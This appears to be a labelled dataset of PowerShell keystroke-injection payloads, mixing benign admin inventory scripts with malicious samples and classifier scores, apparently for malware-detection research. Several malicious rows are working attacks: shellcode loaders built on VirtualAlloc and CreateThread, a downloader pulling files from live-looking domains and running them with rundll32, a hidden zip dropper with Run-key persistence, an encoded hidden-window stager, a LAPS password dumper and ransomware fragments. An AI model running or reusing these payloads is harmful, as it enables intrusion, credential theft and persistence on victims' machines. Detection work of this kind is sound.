0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.107969e-05,0.99994886
"win+r enter powershell enter enter enter function Get-LAPSPasswords enter { enter <# enter .Synopsis enter This module will query Active Directory for the hostname, LAPS (local administrator) stored password, enter and password expiration for each computer account. enter .DESCRIPTION enter This module will query Active Directory for the hostname, LAPS (local administrator) stored password, enter and password expiration for each computer account. The script filters out disabled domain computers. enter LAPS password storage can be identified by querying the (domain user available) ms-MCS-AdmPwdExpirationTime enter attribute. If the attribute (timestamp) exists, LAPS is in use for local administrator passwords. Access to enter ms-MCS-AdmPwd attribute should be restricted to privileged accounts. Also, since the script uses data tables enter to output affected systems the results can be easily piped to other commands such as test-connection or a Export-Csv. enter .EXAMPLE enter The example below shows the standard command usage. Disabled system are excluded by default. If your user doesn't enter have the rights to read the password, then it will show 0 for Readable. enter PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Format-Table -AutoSize enter enter Hostname Stored Readable Password Expiration enter -------- ------ -------- -------- ---------- enter WIN-M8V16OTGIIN.test.domain 0 0 NA enter WIN-M8V16OTGIIN.test.domain 0 0 NA enter ASSESS-WIN7-TES.test.domain 1 1 $sl+xbZz2&qtDr 6/3/2015 7:09:28 PM enter .EXAMPLE enter The example below shows how to write the output to a csv file. enter PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Export-Csv c: tab emp\output.csv -NoTypeInformation enter .LINK enter https://blog.netspi.com/running-laps-around-cleartext-passwords/ enter https://github.com/kfosaaen/Get-LAPSPasswords enter https://technet.microsoft.com/en-us/library/security/3062591 enter enter .NOTES enter Author: Karl Fosaaen - 2015, NetSPI enter Version: Get-LAPSPasswords.psm1 v1.0 enter Comments: The technique used to query LDAP was based on the ""Get-AuditDSComputerAccount"" enter function found in Carlos Perez's PoshSec-Mod project. The general idea is based off of enter a Twitter conversation with @_wald0. The bones of this were borrowed (with permission) from enter Scott Sutherland's Get-ExploitableSystems function. enter enter #> enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$false, enter HelpMessage=""Credentials to use when connecting to a Domain Controller."")] enter [System.Management.Automation.PSCredential] enter [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, enter enter [Parameter(Mandatory=$false, enter HelpMessage=""Domain controller for Domain and Site that you want to query against."")] enter [string]$DomainController, enter enter [Parameter(Mandatory=$false, enter HelpMessage=""Maximum number of Objects to pull from AD, limit is 1,000."")] enter [int]$Limit = 1000, enter enter [Parameter(Mandatory=$false, enter HelpMessage=""scope of a search as either a base, one-level, or subtree search, default is subtree."")] enter [ValidateSet(""Subtree"",""OneLevel"",""Base"")] enter [string]$SearchScope = ""Subtree"", enter enter [Parameter(Mandatory=$false, enter HelpMessage=""Distinguished Name Path to limit search to."")] enter enter [string]$SearchDN enter ) enter Begin enter { enter if ($DomainController -and $Credential.GetNetworkCredential().Password) enter { enter $objDomain = New-Object System.DirectoryServices.DirectoryEntry ""LDAP://$($DomainController)"", $Credential.UserName,$Credential.GetNetworkCredential().Password enter $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain enter } enter else enter { enter $objDomain = [ADSI]"""" enter $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain enter } enter } enter enter Process enter { enter # Status user enter Write-Verbose ""[*] Grabbing computer accounts from Active Directory..."" enter enter # Create data table for hostnames, and passwords from LDAP enter $TableAdsComputers = New-Object System.Data.DataTable enter $TableAdsComputers.Columns.Add('Hostname') | Out-Null enter $TableAdsComputers.Columns.Add('Stored') | Out-Null enter $TableAdsComputers.Columns.Add('Readable') | Out-Null enter $TableAdsComputers.Columns.Add('Password') | Out-Null enter $TableAdsComputers.Columns.Add('Expiration') | Out-Null enter enter # ---------------------------------------------------------------- enter # Grab computer account information from Active Directory via LDAP enter # ---------------------------------------------------------------- enter $CompFilter = ""(&(objectCategory=Computer))"" enter $ObjSearcher.PageSize = $Limit enter $ObjSearcher.Filter = $CompFilter enter $ObjSearcher.SearchScope = ""Subtree"" enter enter if ($SearchDN) enter { enter $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry(""LDAP://$($SearchDN)"") enter } enter enter $ObjSearcher.FindAll() | ForEach-Object { enter enter # Setup fields enter $CurrentHost = $($_.properties['dnshostname']) enter $CurrentUac = $($_.properties['useraccountcontrol']) enter $CurrentPassword = $($_.properties['ms-MCS-AdmPwd']) enter if ($_.properties['ms-MCS-AdmPwdExpirationTime'] -ge 0){$CurrentExpiration = $([datetime]::FromFileTime([convert]::ToInt64($_.properties['ms-MCS-AdmPwdExpirationTime'],10)))} enter else{$CurrentExpiration = ""NA""} enter enter $PasswordAvailable = 0 enter $PasswordStored = 1 enter enter # Convert useraccountcontrol to binary so flags can be checked enter # http://support.microsoft.com/en-us/kb/305144 enter # http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx enter $CurrentUacBin = [convert]::ToString($CurrentUac,2) enter enter # Check the 2nd to last value to determine if its disabled enter $DisableOffset = $CurrentUacBin.Length - 2 enter $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) enter enter # Set flag if stored password is not available enter if ($CurrentExpiration -eq ""NA""){$PasswordStored = 0} enter if ($CurrentPassword.length -ge 1){$PasswordAvailable = 1} enter # Add computer to list if it's enabled enter if ($CurrentDisabled -eq 0){ enter # Add domain computer to data table enter $TableAdsComputers.Rows.Add($CurrentHost,$PasswordStored,$PasswordAvailable,$CurrentPassword, $CurrentExpiration) | Out-Null enter } enter } enter # Display results enter $TableAdsComputers | Sort-Object {$_.Hostname} -Descending enter } enter End enter { enter } enter } enter enter",1,1,0.00011137863,0.99988866
"win+r powershell enter $wC=NeW-ObjeCT SySTEM.NET.WEBClIEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificat enter eValidationCallback = {$true};$wC.HEADeRs.ADd('User-Agent',$u);$Wc.PROXY = [SYsT enter EM.NEt.WEbReQueST]::DEfAultWebPrOxY;$WC.PrOxY.CREdENtIaLs = [SysTEM.NEt.CREDeNtI enter aLCachE]::DeFAuLtNETwoRKCRedEnTiAlS;$K='G;2]u0!\c/jrbgL` enter enter",1,1,5.5685538e-05,0.9999443
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_fr4kijbh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4288427e-05
win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldDetect32BitProcess enter { enter $expectedResult = ( $env:PROCESSOR_ARCHITECTURE -eq 'x86' ) enter Assert-Equal $expectedResult (Test-PowerShellIs32Bit) enter } enter enter,0,0,0.99911827,0.0008817355
"win+r enter powershell enter enter enter function Set-ReleaseNotesReleaseDate enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $ManifestPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $ReleaseNotesPath enter ) enter enter Set-StrictMode -Version 'Latest' enter enter $manifest = Test-ModuleManifest -Path $ManifestPath enter if( -not $manifest ) enter { enter return enter } enter enter $setHeader = $false enter $releaseNotes = Get-Content -Path $ReleaseNotesPath | enter ForEach-Object { enter if( $_ -match '^ enter { enter $setHeader = $true enter return "" enter } enter return $_ enter } enter if( $setHeader ) enter { enter $releaseNotes | Set-Content -Path $releaseNotesPath enter } enter } enter enter $7CQa = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $7CQa -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x58,0xe0,0xef,0x70,0xd9,0xec,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x47,0x83,0xee,0xfc,0x31,0x56,0x0f,0x03,0x56,0x57,0x02,0x1a,0x8c,0x8f,0x40,0xe5,0x6d,0x4f,0x25,0x6f,0x88,0x7e,0x65,0x0b,0xd8,0xd0,0x55,0x5f,0x8c,0xdc,0x1e,0x0d,0x25,0x57,0x52,0x9a,0x4a,0xd0,0xd9,0xfc,0x65,0xe1,0x72,0x3c,0xe7,0x61,0x89,0x11,0xc7,0x58,0x42,0x64,0x06,0x9d,0xbf,0x85,0x5a,0x76,0xcb,0x38,0x4b,0xf3,0x81,0x80,0xe0,0x4f,0x07,0x81,0x15,0x07,0x26,0xa0,0x8b,0x1c,0x71,0x62,0x2d,0xf1,0x09,0x2b,0x35,0x16,0x37,0xe5,0xce,0xec,0xc3,0xf4,0x06,0x3d,0x2b,0x5a,0x67,0xf2,0xde,0xa2,0xaf,0x34,0x01,0xd1,0xd9,0x47,0xbc,0xe2,0x1d,0x3a,0x1a,0x66,0x86,0x9c,0xe9,0xd0,0x62,0x1d,0x3d,0x86,0xe1,0x11,0x8a,0xcc,0xae,0x35,0x0d,0x00,0xc5,0x41,0x86,0xa7,0x0a,0xc0,0xdc,0x83,0x8e,0x89,0x87,0xaa,0x97,0x77,0x69,0xd2,0xc8,0xd8,0xd6,0x76,0x82,0xf4,0x03,0x0b,0xc9,0x90,0xe0,0x26,0xf2,0x60,0x6f,0x30,0x81,0x52,0x30,0xea,0x0d,0xde,0xb9,0x34,0xc9,0x21,0x90,0x81,0x45,0xdc,0x1b,0xf2,0x4c,0x1a,0x4f,0xa2,0xe6,0x8b,0xf0,0x29,0xf7,0x34,0x25,0xc7,0xf2,0xa2,0x06,0xb0,0xfc,0x35,0xef,0xc3,0xfe,0x28,0xb3,0x4a,0x18,0x1a,0x1b,0x1d,0xb5,0xda,0xcb,0xdd,0x65,0xb2,0x01,0xd2,0x5a,0xa2,0x29,0x38,0xf3,0x48,0xc6,0x95,0xab,0xe4,0x7f,0xbc,0x20,0x95,0x80,0x6a,0x4d,0x95,0x0b,0x99,0xb1,0x5b,0xfc,0xd4,0xa1,0x0b,0x0c,0xa3,0x98,0x9d,0x13,0x19,0xb6,0x21,0x86,0xa6,0x11,0x76,0x3e,0xa5,0x44,0xb0,0xe1,0x56,0xa3,0xcb,0x28,0xc3,0x0c,0xa3,0x54,0x03,0x8d,0x33,0x03,0x49,0x8d,0x5b,0xf3,0x29,0xde,0x7e,0xfc,0xe7,0x72,0xd3,0x69,0x08,0x23,0x80,0x3a,0x60,0xc9,0xff,0x0d,0x2f,0x32,0x2a,0x8c,0x13,0xe5,0x12,0xfa,0x7d,0x35;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$eUMG=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($eUMG.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$eUMG,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.226134e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_kbddpdl9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.json"") -Encoding UTF8 enter",0,0,0.9999653,3.464664e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_weqzwf48"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4427485e-05
"win+r enter powershell enter enter enter Start-Sleep -Seconds 5;$unexculpableArointing = (""https://mrketiando.com.br/mTHv/wgygnMs,https://greyfordacademy1.com/qsf4/02RlCICetdna,https://dcnchurch.info/vS0t89/qrIW8iSL,https://auditoresmenendez.com/HLLMkLW/9RBVe3k7DjFq,https://lascumbres.com.mx/4Xe/BbnTEh7TNt"").split("","");foreach ($wealthful in $unexculpableArointing) {try {wget $wealthful -TimeoutSec 19 -O $env:TEMP\plashed.BrazenfacedlyGlutael;if ((Get-Item $env:TEMP\plashed.BrazenfacedlyGlutael).length -ge 100000) {powershell -encodedcommand ""cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABwAGwAYQBzAGgAZQBkAC4AQgByAGEAegBlAG4AZgBhAGMAZQBkAGwAeQBHAGwAdQB0AGEAZQBsACwAVABpAG0AZQA7AA=="";break;}}catch {Start-Sleep -Seconds 5;}} enter enter [decoded_payloads] enter [decoded:powershell_encoded_command] enter start rundll32 $env:TEMP\plashed.BrazenfacedlyGlutael,Time; enter enter",1,1,5.929709e-05,0.99994075
"powershell -nop -w hidden -c ""$d=[Convert]::FromBase64String('!H4sIAAAAAAAAAK1Wb enter W/jNhL+HP8KIvBB0sX2SaREylkEsNdJ2hTNXlBvt4e6xoKiRolaWXIpKY27m//eGclOk9td9HBoDDt8m enter ddnHpJzdfEf5h4vZzBrxstZM7O5aWbX1SydARvP3oGd1fmsmpVsxo+9iYVtoQ24x7PjETs+9l4NhufVV enter cPO2MwZZG1pmrwqWXa71ezDgN1oqzfMHd5r+35TpW0BI9ZNtrYykLYWvKOjAS61mxJNuKv5dntebXRer enter k9PF621UDb9fPIVNPO6hk1S5FC7HvvIfrgDC+N/Jz+DadgHNnw/+aqoEl3sxXYLbe4whXmZ0t63ldEU2 enter 2S5LfLGdX76yfFW42A9ufi11UXtOsudc+LUDWwmaVE4Hnv0yOfb3RZc5zo3tqqrrJn8kJeCT74va53BG enter zR4D9fQ3FVp7XiDPjVK/axPiQz0266DwxtMep6mFuraGbEVmV6t12zmOt+1ZZNvYHJVNmCr7RLsfW6gn enter nyty7SA7yBDeYzN5uWt46EjC01ryyd/qHdf/QLusGyLYoQGV39pcO2+gd8O4P2ltPtcGqVuGuuNqK6fJ enter nndlbnXxFg/Ce0ZFzz8+4QP3uBx8JxIafOMSIOjVTcCjNO9qeq8Ezpj/ohdo0fdVHZH4L+1LXjrPyEe3 enter m+1HX1JOziIkqAlLq/eVXm6HrCupk1CK19m5jlkeQnnu1JvcnMg3wvEEMECuoQmh/03GAbWvd+A9BwKu enter NUNIYbMeCZ/scmbJ6XXbV6kYOcGi1NjHFg376X7Hn3XuSqvYYNg9HNkzzBDksNBes/q3cEtzYlii0LX9 enter YjdtHjKzIgtQReQjti8r enter",1,1,6.425444e-05,0.99993575
"win+r powershell enter #================================# # PSRansom by @JoelGMSec # # https://darkbyte enter .net # #================================# $OldConsoleOut = [Console]::Out $Stri enter ngWriter = New-Object IO.StringWriter [Console]::SetOut($StringWriter) # Design enter $ProgressPreference = ""SilentlyContinue"" $ErrorActionPreference = ""SilentlyCont enter inue"" enter enter",1,1,6.9794514e-05,0.99993014
"win+r powershell enter function Start-TestFixture { & (Join-Path -Path $PSScriptRoot '..\Initialize-Ca enter rbonTest.ps1' -Resolve) } function Test-ShouldGetIISVersion { $props = get-ite enter mproperty hklm:\Software\Microsoft\InetStp $expectedVersion = $props.MajorVersi enter on.ToString() + '.' + $props.MinorVersion.ToString() $actualVersion = Get-IISVe enter rsion Assert-Equal $expectedVersion $actualVersion ""Didn't get the correct IIS enter version."" } enter",1,1,0.00614723,0.99385273
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_ysduprtr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter",0,0,0.9999645,3.5499364e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_7lga39c0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter",0,0,0.9999659,3.40377e-05
"win+r powershell enter cd $env:AppData; $link=""https://eylulsifalitas.com/baot.zip""; $path=$env:APPDATA enter +"" tab r.zip""; $pzip=$env:APPDATA+""\ONEN0TEupdate""; Start-BitsTransfer -Source $lin enter k -Destination $Path; expand-archive -path . tab r.zip -destinationpath $pzip; $FOL enter D=Get-Item $pzip -Force; $FOLD.attributes='Hidden'; Remove-Item -path $path; cd enter $pzip; start client32.exe; $fstr=$pzip+""\client32.exe""; New-ItemProperty -Path "" enter HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" -Name ""ONEN0TEupdate"" -Valu enter e $fstr -PropertyType ""String""; enter enter",1,1,6.387657e-05,0.9999361
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_vuzk1dzc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4979563e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_dv3cgi8q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4261175e-05
"win+r powershell enter param($installPath, $toolsPath, $package, $project) $targetFileName = 'RGieseck enter e.DllExport.targets' $targetFileName = [System.IO.Path]::Combine($toolsPath, $ta enter rgetFileName) $targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) enter $projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) return $ enter projects | % { $currentProject = $_ $currentProject.Xml.Imports | ? { enter",1,1,0.0024997436,0.99750024
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_72kcyj8n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_75.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4109187e-05
"win+r enter powershell enter enter enter function Backup-AllSQLDBs{ enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$false)] enter [String] enter $Server = $env:COMPUTERNAME, enter enter [Parameter(Mandatory=$true)] enter [String] enter $Instance, enter enter [Parameter(Mandatory=$true)] enter [String] enter $Path enter ) enter if((Get-PSSnapin ""SqlServerCmdletSnapin100"" -ErrorAction SilentlyContinue) -eq $Null){ enter Add-PSSnapin ""SqlServerCmdletSnapin100"" enter } enter enter if((Get-PSSnapin ""SqlServerProviderSnapin100"" -ErrorAction SilentlyContinue) -eq $Null){ enter Add-PSSnapin ""SqlServerProviderSnapin100"" enter } enter Push-Location enter enter $SQLInstance = ""SQLServer:\SQL\$Server\$Instance\Databases"" enter set-Location $SQLInstance enter Get-ChildItem $SQLInstance | select name | %{ enter $BackupPath = $Path + ""\"" + $_.Name enter if(! (Test-Path $BackupPath)){ enter mkdir $BackupPath enter } enter } enter $SQLQuery = @"" enter DECLARE @Name VARCHAR(250) enter DECLARE @Path VARCHAR(250) enter DECLARE @FileName VARCHAR(250) enter DECLARE @TimeStamp VARCHAR(30) enter enter SET @Path = '$Path' enter enter SELECT @TimeStamp = REPLACE(CONVERT(VARCHAR(26),getdate(),120),':','-') enter enter DECLARE db_cursor CURSOR FOR enter SELECT name enter FROM master.dbo.sysdatabases enter WHERE name NOT IN ('master','model','msdb','tempdb') enter enter OPEN db_cursor enter FETCH NEXT FROM db_cursor INTO @Name enter enter WHILE @@FETCH_STATUS = 0 enter BEGIN enter enter SET @FileName = @Path + '\' + @Name + '\' + @Name + ' enter enter PRINT @FileName enter enter BACKUP DATABASE @Name TO DISK = @FileName enter enter FETCH NEXT FROM db_cursor INTO @Name enter END enter enter CLOSE db_cursor enter DEALLOCATE db_cursor enter ""@ enter Invoke-Sqlcmd -Query $SQLQuery -QueryTimeout 1000 enter enter Pop-Location enter } enter enter",0,1,0.0005919834,0.999408
"win+r powershell enter [OutputType([void])] [CmdletBinding()] param ( [Parameter(Mandatory)] [Validat enter eNotNullOrEmpty()] [scriptblock]$Condition, [Parameter(Mandatory)] [Validate enter NotNullOrEmpty()] [int]$Timeout, enter enter",1,1,0.0005196391,0.9994804
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_3ka6fnix"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4381294e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_886vo371"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3890654e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_x9ftnbep"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4107237e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install kb2919442 enter A enter enter,0,0,0.99995947,4.0521478e-05
"win+r powershell enter function Invoke-MalDoc { <# .SYNOPSIS A module to programatically execute Mic enter rosoft Word and Excel Documents containing macros. .DESCRIPTION A module to p enter rogramatically execute Microsoft Word and Excel Documents containing macros. The enter module will temporarily add a registry key to allow PowerShell to interact with enter VBA. .PARAMETER macroCode [Required] The VBA code to be executed. By default, enter this macro code will be wrapped in a sub routine, called ""Test"" by default. If enter you don't want your macro code to be wrapped in a subroutine use the `-noWrap` f enter lag. To specify the subroutine name use the `-sub` parameter. .PARAMETER macroF enter ile [Required] A file containing the VBA code to be executed. To specify the su enter broutine name to be called use the `-sub` parameter. .PARAMETER officeVersion enter enter",1,1,6.184232e-05,0.99993813
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_anvbm0wv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.436641e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_41fkg2jj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4122462e-05
